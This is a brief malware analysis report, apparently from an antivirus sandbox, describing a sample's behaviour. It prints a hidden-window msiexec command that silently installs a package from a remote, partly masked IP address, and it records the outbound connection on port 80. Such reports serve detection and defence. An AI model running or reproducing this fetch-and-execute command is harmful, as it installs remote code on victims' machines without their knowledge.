Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\msiexec.exe' back=887 error=exit /i http://18#.#25.17.5/km /q OnLoad="%WINDIR%\calc.exe"
Network activity
Connects to
- '18#.#25.17.5':80
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\msiexec.exe' back=887 error=exit /i http://18#.#25.17.5/km /q OnLoad="%WINDIR%\calc.exe"' (with hidden window)
Executes the following
- '<SYSTEM32>\msiexec.exe' /V
